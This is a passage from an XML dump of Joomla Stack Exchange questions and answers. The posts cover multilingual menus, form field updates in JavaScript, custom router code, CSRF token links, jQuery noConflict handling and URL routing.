LastEditDate="2019-11-13T22:29:45.527" LastActivityDate="2019-11-13T22:29:45.527" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26387" PostTypeId="1" AcceptedAnswerId="26388" CreationDate="2019-11-11T23:18:37.417" Score="0" ViewCount="24" Body="&lt;p&gt;I want a bilingual website and I want all articles, regardless of their language to be in the same article listing (menu). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I create a french article in the blog category, and an english article in the blog category also. None of these articles are translated, they are both distinct individual articles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When someone clicks &quot;blog&quot; on my menu, I want them to see a listing of articles, which contains BOTH articles regardless of their language. &lt;/p&gt;&#xA;" OwnerUserId="13908" LastActivityDate="2019-11-12T00:06:21.240" Title="How to setup Joomla with multiple languages all under the same menu" Tags="|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26388" PostTypeId="2" ParentId="26387" CreationDate="2019-11-12T00:06:21.240" Score="0" Body="&lt;p&gt;Everytime you create an article simply tag the language of your article to &quot;All&quot;&lt;a href=&quot;https://i.stack.imgur.com/r8FYo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8FYo.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-11-12T00:06:21.240" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26389" PostTypeId="1" AcceptedAnswerId="26403" CreationDate="2019-11-12T05:39:12.397" Score="1" ViewCount="286" Body="&lt;p&gt;My scenario is that I have a field in a table called Stock_Qty that when it is changed I need to update the Stock_Date field with the current date and then the user can replace the date if they don't want todays date to be stored. There are other fields in the record so I can't rely on the last modified date as the Stock_Qty may or may not have been changed when the record was last saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eLmoK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eLmoK.png&quot; alt=&quot;Ignore Last Updated as it really a Stock Available date&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Ignore Last Updated as it really a Stock Available date&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for something in Javascript or an ability already baked into Joomla but have came up short. I suspect the answer is in Javascript but it is something I still have to learn a lot more about and I have looked through a lot of Joomla code in &lt;code&gt;/libraries/cms/html&lt;/code&gt; but haven't found anything like what I want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for an example around the &lt;code&gt;onchange=&lt;/code&gt; field of the &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; statement on the Form mainly because I have been doing some hacking on a Filter field recently and I can see that &lt;code&gt;onchange=&lt;/code&gt; and &lt;code&gt;onclick=&lt;/code&gt; are able to effect changes on another field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered storing the value for Stock_Qty and doing a before and after compare in the model before it is saved however it gets complex trying to then work out if the users has provided a new date or if it is the date retrieve from the table. I am trying to avoid more calls to the table to check each record when it is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to think of any examples in Joomla that do something similar either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance appreciated and I will reply, I monitor JSE daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this question I am trying to find a solution for when Stock_Qty is changed via a simple edit Form, however I also need to handle a file import changing the Stock_Qty so I have been looking at code for changing the date at the time the record is written to the table as well, overriding updateObject in /libraries/joomla/database/driver.php, therefore I am open to suggestions outside the scope of just Input fields and JS if it is more elegant.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2020-09-18T05:16:16.003" Title="How to Update a field only when another filed is changed" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26390" PostTypeId="2" ParentId="3560" CreationDate="2019-11-12T07:41:07.793" Score="0" Body="&lt;p&gt;The answer to the question. &lt;strong&gt;In each menu item under Metadata tag make secure on or off according to your needs. Now you have absolute url's.&lt;/strong&gt; No hacks, no fuss, no tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To everyone that thinks absolute URL's is not SEO. Google say they prefer it. Other younger search engines will add your relative url to the end of your current page's url. Like &lt;a href=&quot;http://example.com/my-nice-article/my-other-nice&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://example.com/my-nice-article/my-other-nice&lt;/a&gt; article and get a 404. Guess what, they will think your site is crap and full of broken links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my 404 logs from some years ago I saw it made a difference on search engines other than google. This page explains why absolute URL's is better. moz.com/blog/relative-vs-absolute-urls-whiteboard-friday&lt;/p&gt;&#xA;" OwnerUserId="13910" LastEditorUserId="13910" LastEditDate="2019-11-15T08:20:59.863" LastActivityDate="2019-11-15T08:20:59.863" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26391" PostTypeId="1" CreationDate="2019-11-12T14:49:33.827" Score="3" ViewCount="200" Body="&lt;p&gt;I'm looking for some recommendations for a document manager that's compatible with Joomla 3+. Seems to be a pretty popular question throughout the Joomla community.&lt;/p&gt;&#xA;&lt;p&gt;In the past I've always used &lt;a href=&quot;https://www.phoca.cz/joomla3demo/phoca-download-demo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoca Download&lt;/a&gt;, it's worked well but I'm thinking of trying something new as I think it's looking a bit dated.&lt;/p&gt;&#xA;&lt;p&gt;I've been reading about &lt;a href=&quot;https://www.joomlatools.com/extensions/docman/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docman by Joomlatools&lt;/a&gt;. I can't see it in the JED - any idea why this is? I've read some &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=957570&amp;amp;f=715#p3528601&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum posts&lt;/a&gt; about their license and how people have had issues with it so I'm slightly skeptical.&lt;/p&gt;&#xA;&lt;p&gt;There's also &lt;a href=&quot;https://www.joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;eDocman by JoomDonation&lt;/a&gt; - I know nothing about this but it seems pretty good. It's also in the JED.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomunited.com/products/dropfiles&quot; rel=&quot;nofollow noreferrer&quot;&gt;DropFiles&lt;/a&gt; seems pretty new and it's lacking some features that the others have. I do like the design,though.&lt;/p&gt;&#xA;&lt;p&gt;My requirements for a document manager are;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;responsive&lt;/li&gt;&#xA;&lt;li&gt;allow user uploads&lt;/li&gt;&#xA;&lt;li&gt;multiple categories and subcategories&lt;/li&gt;&#xA;&lt;li&gt;access control&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don't mind paying for the right / best component.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="12352" LastEditDate="2022-05-14T01:20:42.003" LastActivityDate="2022-05-14T01:20:42.003" Title="Document Manager Recommendations" Tags="|joomla-3.x|component|jdocument|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26394" PostTypeId="1" CreationDate="2019-11-13T01:01:25.667" Score="1" ViewCount="59" Body="&lt;p&gt;I've put a logo on my site's homepage and the logo was clickable. And then I adjusted its position through custom.css file, but now the logo is NOT clickable (plain image). How to make it clickable again?&#xA;Here's a homepage of my site:&#xA;&lt;a href=&quot;https://repetit.moscow&quot; rel=&quot;nofollow noreferrer&quot;&gt;My site's URL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2019-12-13T23:01:20.150" Title="Need to add a hyperlink to a logo" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26395" PostTypeId="2" ParentId="26394" CreationDate="2019-11-13T09:08:08.303" Score="1" Body="&lt;p&gt;You can use the inspector in Chrome or Firefox to inspect the HTML + CSS. The issue with the non-clickable logo seems to be caused by the &lt;strong&gt;float: left;&lt;/strong&gt; in your CSS. If you remove it, the logo is clickable again. However, the top bar won't look good; You have to solve that in another way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#toolbar .float-left .module, #toolbar .float-left&amp;gt;time {&#xA;    margin: 0 15px 0 0;&#xA;    float: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-11-13T09:08:08.303" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26396" PostTypeId="2" ParentId="10676" CreationDate="2019-11-13T12:01:19.840" Score="0" Body="&lt;p&gt;Since Joomla 3.6.3 (with the addition of &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Helper.UserGroupsHelper.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;UserGroupsHelper&lt;/a&gt; class):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getGroupId($groupName){&#xA;    foreach (JHelperUsergroups::getInstance()-&amp;gt;getAll() as $group) {&#xA;        if ($group-&amp;gt;title == $groupName) {&#xA;            return $group-&amp;gt;id;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="454" LastActivityDate="2019-11-13T12:01:19.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26397" PostTypeId="2" ParentId="26394" CreationDate="2019-11-13T22:28:31.097" Score="1" Body="&lt;p&gt;OK, I've found the solution. I simply changed the last line of custom.css to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#toolbar .float-left .module:last-of-type {&#xA;float: none !important;&#xA;width: 100% !important; &#xA;position: static; /* add to override its previous &quot;module&quot; ruling */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2019-11-13T22:28:31.097" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26398" PostTypeId="2" ParentId="26382" CreationDate="2019-11-14T09:24:03.193" Score="0" Body="&lt;p&gt;After trying every possible way I could imagine I finally found the solution and I've been pretty close with the version I mentioned in this post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class BookstoreRouter extends JComponentRouterView&#xA;{&#xA;    public function __construct($app = null, $menu = null)&#xA;    {&#xA;        $books = new JComponentRouterViewconfiguration('books');&#xA;        $this-&amp;gt;registerView($books);&#xA;&#xA;        $book = new JComponentRouterViewconfiguration('book');&#xA;        $book-&amp;gt;setKey('id')-&amp;gt;setParent($books);&#xA;        $this-&amp;gt;registerView($book);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesMenu($this));&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesStandard($this));&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesNomenu($this));&#xA;    }&#xA;&#xA;    public function getBookSegment($id, $query)&#xA;    {&#xA;        if (strpos($query['id'], ':') === false) {&#xA;            $db = JFactory::getDbo();&#xA;            $dbquery = $db-&amp;gt;getQuery(true);&#xA;            $dbquery-&amp;gt;select($db-&amp;gt;quoteName('alias'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__bookstore_books'))&#xA;                -&amp;gt;where('id = ' . $db-&amp;gt;quote($id));&#xA;            $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;            $id .= ':' . $db-&amp;gt;loadResult();&#xA;        }&#xA;&#xA;        return array((int)$id =&amp;gt; $id);&#xA;    }&#xA;&#xA;    public function getBookId($segment, $query)&#xA;    {&#xA;        return (int)$segment;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my understanding Nestable was necessary for Parent. Seems I got it all wrong. Works like a charm now.&lt;/p&gt;&#xA;" OwnerUserId="3680" LastActivityDate="2019-11-14T09:24:03.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26399" PostTypeId="1" CreationDate="2019-11-14T10:32:45.077" Score="0" ViewCount="25" Body="&lt;p&gt;I'm trying to make a link that acts as the &quot;save 2 copy&quot; button on the edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the main page for the item, I am creating the link according to this documentation: &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php &#xA;echo JRoute::_( 'index.php?option=com_pakker&amp;amp;view=jj_pakke&amp;amp;task=jj_pakke.save2copy&amp;amp;id=1&amp;amp;'. JSession::getFormToken() .'=1' );&#xA;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which generates links like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/index.php/jj_pakke/1?task=jj_pakke.save2copy&amp;amp;55cdb8304fef2c8a80be2620d18ae367=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error I'm getting is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;security token did not match&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12743" LastEditorUserId="12352" LastEditDate="2019-11-16T22:08:46.213" LastActivityDate="2019-11-16T22:08:46.213" Title="Generated URL with token - The security token did not match" Tags="|joomla-3.x|custom-component|security-token|" AnswerCount="0" CommentCount="7" ClosedDate="2019-11-14T21:28:10.790" ContentLicense="CC BY-SA 4.0" />
  <row Id="26401" PostTypeId="2" ParentId="25004" CreationDate="2019-11-14T15:14:02.867" Score="1" Body="&lt;p&gt;Helix3 is based on Bootstrap 4, But all &lt;code&gt;col&lt;/code&gt; classes for megamenu have prefix &lt;code&gt;col-sm&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think the easiest method is to add custom class name &lt;code&gt;.col5&lt;/code&gt; to your megamenu and split &lt;code&gt;row&lt;/code&gt; into 6 columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can add this CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sp-has-child.col5 .col-sm-2 {&#xA;  -ms-flex-preferred-size: 0;&#xA;  flex-basis: 0;&#xA;  -webkit-box-flex: 1;&#xA;  -ms-flex-positive: 1;&#xA;  flex-grow: 1;&#xA;  max-width: 100%;&#xA;}&#xA;&#xA;.sp-has-child.col5 .col-sm-2:last-child {&#xA;  display: none&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11421" LastActivityDate="2019-11-14T15:14:02.867" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26402" PostTypeId="1" CreationDate="2019-11-14T20:50:02.643" Score="0" ViewCount="446" Body="&lt;p&gt;I just installed version 3.9 joomla in local using xampp. Once the installation was finished correctly I tried to navigate the site and the backend. After loading a few pages, this annoying error appears:&#xA;&quot;Error: Failed to start application: Table 'C:\xampp\tmp#xxxxx_xx.MAI' is read only&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The version of my xampp is: 3.2.4 with PHP 7.2.24&#xA;My joomla version is: 3.9.13&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7288" LastActivityDate="2019-11-14T20:50:02.643" Title="Joomla 3.9.13 - Error: Failed to start application" Tags="|joomla-3.x|php|mysql|administrator|php7|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26403" PostTypeId="2" ParentId="26389" CreationDate="2019-11-15T00:58:29.813" Score="2" Body="&lt;p&gt;*** Update - This solution works provided the date input field doess not have a type=&amp;quot;calendar&amp;quot; in the Joomla forms .xml. I will raise a separate question to try and work out why and report back here.&lt;/p&gt;&#xA;&lt;p&gt;My solution to change the date field on a change in the current stock when entered via the form involved learning enough JS to become dangerous. :)&lt;/p&gt;&#xA;&lt;p&gt;My Javascript which I placed in  /media/com_mycomponent/js/extras.js&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    function addDate(target_field) &#xA;    {&#xA;        document.getElementById(target_field).value = currentDate();&#xA;    }&#xA;&#xA;function currentDate() &#xA;{&#xA;    var today = new Date();&#xA;    var dd = String(today.getDate()).padStart(2, '0');&#xA;    var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0!&#xA;    var yyyy = today.getFullYear();&#xA;&#xA;    today = yyyy + '-' + mm + '-' + dd;&#xA;    &#xA;    return today;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in my com_mycomponenet/models/forms/edit.xml&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&amp;quot;supplier_qty&amp;quot; default=&amp;quot;0&amp;quot; type=&amp;quot;number&amp;quot; onchange=&amp;quot;addDate('jform_supplier_qty_date')&amp;quot; ....  &amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And how it works for anyone who has a similar need or wants to use it as a model to alter other fields as a form is filled in.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;onchange=&amp;quot;addDate('jform_supplier_qty_date')&amp;quot;&lt;/code&gt; on the input field, supplier_qty, triggers the addDate function and passes it the field name where the change is to be applied. The first line gets the current value from the field to be changed and the second line replaces it with the date returned from the currentDate function.&lt;/p&gt;&#xA;&lt;p&gt;The currentDate() routine is based on an answer that had 2,500+ votes in stackexchange&lt;/p&gt;&#xA;&lt;p&gt;I am already thinking of making it more flexible so I can use it in other places on my forms and not just for dates.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-09-18T05:16:16.003" LastActivityDate="2020-09-18T05:16:16.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26404" PostTypeId="1" AcceptedAnswerId="26406" CreationDate="2019-11-15T01:55:25.293" Score="2" ViewCount="533" Body="&lt;p&gt;I'm working on adding a simple feature to a single Joomla article.&#xA;Editing the article itself is necessary in this case, I can't modify the template files (or add the JS to the entire site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the article editor (as per &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_JavaScript_and_CSS_to_the_page&quot; rel=&quot;nofollow noreferrer&quot;&gt;the doc&lt;/a&gt;), my article is as follows ...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {source}&#xA;    &amp;lt;?php&#xA;        $doc = JFactory::getDocument();&#xA;        $doc-&amp;gt;addStyleSheet('mycode/css/article_1.css');&#xA;        $doc-&amp;gt;addScript('mycode/js/article_1.js');&#xA;    ?&amp;gt;&#xA;    {/source}&#xA;&#xA;    &amp;lt;div id=&quot;article_1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing the page, both CSS and JS are loaded, but &lt;code&gt;addScript()&lt;/code&gt; is first-come-first-served, so my script (which contains jQuery) loads &lt;em&gt;before&lt;/em&gt; jQuery. The console spits out:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $ is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried changing the &lt;code&gt;addScript&lt;/code&gt; line to ...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $doc-&amp;gt;addCustomTag('&amp;lt;script src=&quot;mycode/js/article_1.js&quot; defer&amp;gt;&amp;lt;/script&amp;gt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... (note the &lt;code&gt;defer&lt;/code&gt; tag) but that doesn't seem to do anything (the script isn't added). I saw somewhere that I could use ...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $doc-&amp;gt;addScript('mycode/js/article_1.js', 'text/javascript&quot; defer=&quot;false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but the editor (both TinyMCE and CodeMirror) encodes the &quot; above (to &amp;amp; quot;) which breaks that possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried wrapping the &lt;code&gt;article_1.js&lt;/code&gt; code in an event listener ...&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    document.addEventListener('DOMContentLoaded', function(){ ... }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... but that doesn't seem to help :\ I still get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $ is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do you add a jQuery script from within an article?&lt;/p&gt;&#xA;" OwnerUserId="13916" LastEditorUserId="12352" LastEditDate="2019-11-15T07:45:32.233" LastActivityDate="2019-11-17T06:58:54.160" Title="How do you assign jQuery scripts to an article?" Tags="|joomla-3.x|articles|jquery|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26405" PostTypeId="2" ParentId="26404" CreationDate="2019-11-15T03:28:31.377" Score="1" Body="&lt;p&gt;It’s a jQuery conflict (more like noConflict issue). You should start and wrap your script for example like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery.noConflict();&#xA;(function( $ ) { // if you want to use $&#xA;  $(function() {&#xA;    // More code using $ as alias to jQuery&#xA;  });&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or redefine jQuery like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $j = jQuery.noConflict();&#xA;// $j is now an alias to the jQuery function;       creating the new alias is optional.&#xA;&#xA;$j(document).ready(function() {&#xA;    $j( &quot;div&quot; ).hide();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And with few other methods. These will release the conflict on the page.&#xA;&lt;a href=&quot;https://learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://learn.jquery.com/using-jquery-core/avoid-conflicts-other-libraries/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my fault or laziness that I have not given a short additional explanation about my answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the original question is two questions actually: 1. How to add scripts to articles? 2. What does the given error mean? And these are a bit misleading because it could get confusing answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the question how to load scripts into articles the answer is relatively easy since there is addScript and some other obvious methods. And &lt;code&gt;addScript()&lt;/code&gt; was already in the question so there was no problem with that. If you do not mistype your code then these will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second question which is a bit more important in this question and it is what does this error mean?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: $ is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, this error is most of the time appears when jQuery framework is loaded in noConflict mode as usually is the case in Joomla. And if jQuery is loaded in noConflict mode then the &lt;code&gt;$&lt;/code&gt; shortcut will not be available, thus the error appears, when you try to run your scripts with that shortcut. That is why I gave my answer as it is, as a good practice you should wrap your jQuery scripts as it is above. And that is also explaining why you should not load the whole jQuery framework again within an article (since most probably it is already loaded so that is not the problem and loading it into an article could cause other complications later).&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-11-17T06:58:54.160" LastActivityDate="2019-11-17T06:58:54.160" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26406" PostTypeId="2" ParentId="26404" CreationDate="2019-11-15T06:57:26.917" Score="1" Body="&lt;p&gt;Try this workaround below, by calling jquery.framework from the article. It should override jquery.framework call that comes from your template so then jquery will be called before your script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{source}&#xA;&amp;lt;?php&#xA;    JHtml::_('jquery.framework');&#xA;    $doc = JFactory::getDocument();&#xA;    $doc-&amp;gt;addStyleSheet('mycode/css/article_1.css');&#xA;    $doc-&amp;gt;addScript('mycode/js/article_1.js');&#xA;?&amp;gt;&#xA;{/source}&#xA;&#xA;&amp;lt;div id=&quot;article_1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2019-11-15T07:08:38.210" LastActivityDate="2019-11-15T07:08:38.210" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="26407" PostTypeId="2" ParentId="8736" CreationDate="2019-11-15T09:00:53.207" Score="0" Body="&lt;p&gt;From &lt;strong&gt;Joomla 3.8 and higher&lt;/strong&gt; you can use Namespacing&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\MVC\Model\BaseDatabaseModel;&#xA;&#xA;BaseDatabaseModel::addIncludePath(JPATH_SITE . '/components/com_content/models');&#xA;$articleModel = BaseDatabaseModel::getInstance('Article', 'ContentModel');&#xA;$article = $articleModel-&amp;gt;getItem($articleId);&#xA;$access = $article-&amp;gt;access;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-11-15T09:00:53.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26408" PostTypeId="1" CreationDate="2019-11-15T09:22:49.060" Score="0" ViewCount="127" Body="&lt;p&gt;I want to know the purpose of routing the urls. Can anyone explain me why do we route urls?&lt;/p&gt;&#xA;" OwnerUserId="13900" LastEditorUserId="12352" LastEditDate="2019-11-15T11:24:44.630" LastActivityDate="2020-12-10T00:03:25.520" Title="Why do we Route url using JRoute or Route namespace? What is the purpose of routing urls?" Tags="|joomla-3.x|jroute|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26410" PostTypeId="1" CreationDate="2019-11-15T12:29:48.827" Score="1" ViewCount="63" Body="&lt;p&gt;I use Akeeba Backup and Akeeba Kickstart to restore my sites and it's great. I normally backup and transfer the &lt;code&gt;.jpa&lt;/code&gt; files then extract manually, not via the transfer wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the restoration process, if someone visits my site they can see the progress / wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to restrict access to my site during the restoration process? Either via &lt;code&gt;.htaccess&lt;/code&gt; or similar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like to display a &lt;code&gt;503 temporarily unavailable&lt;/code&gt; or similar to all visitors &lt;strong&gt;except me&lt;/strong&gt;, I should be able to view and proceed with the restoration.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-11-16T00:29:11.167" Title="Akeeba Kickstart Restore Site and Restrict Access" Tags="|component|akeebabackup|backups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26411" PostTypeId="2" ParentId="26408" CreationDate="2019-11-15T21:54:23.880" Score="1" Body="&lt;p&gt;Hard to give a precise answer without more detail, so this will be oversimplified, perhaps too much so, but I'll try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla URLs natively look like someone dumped part of a can of alphabet soup on the screen. Joomla uses those numbers to find the content being requested, but why should a site visitor have to put up with such a jumble? And what is a search engine to make of that URL? (/sensible/human/readable/link as opposed to index.php?option=com_whizzbang&amp;amp;Id=23&amp;amp;morearcaneitems=toomany even makes more sense to a search engine trying to classify the page it's indexing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routing system in Joomla provides a mechanism so that when that content item's name changes, or category, or pretty much anything else, the original link can still be used by the router to find the modified page. Without a routing system none of the items in the query string could ever change without having to change the URL. What if a visitor bookmarked a page? Or you emailed someone a link to your site. When you made that little change, that item got lost and none of those links work any more. With a routing system in place, Joomla can use it to figure out whether this received query string fits this modified page, instead of just giving your visitor a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use the routing system to output links for much the same reason; it's a quick and simple way to create a consistently-formatted URL that Joomla will be able to use to find the page again, and if the page changes, the call through the routing system will pick up the changes automatically, so every navigation link in the site will now use the current real URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a chunk of a larger practice known as &quot;encapsulation&quot; where you hide the details part of the system needs to know away from the other parts of the system that don't need to know them. That makes the code easier to maintain because if those hidden details change only that one part of the code needs to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the routing system, this hides the details of the Joomla internals from the rest of the world, giving you the ability to change them as you need without impacting the ability of the rest of the world to find your page. Without the router any time you decided to move an article to another menu or category, the query string would be different and anyone with the old query string couldn't get to the 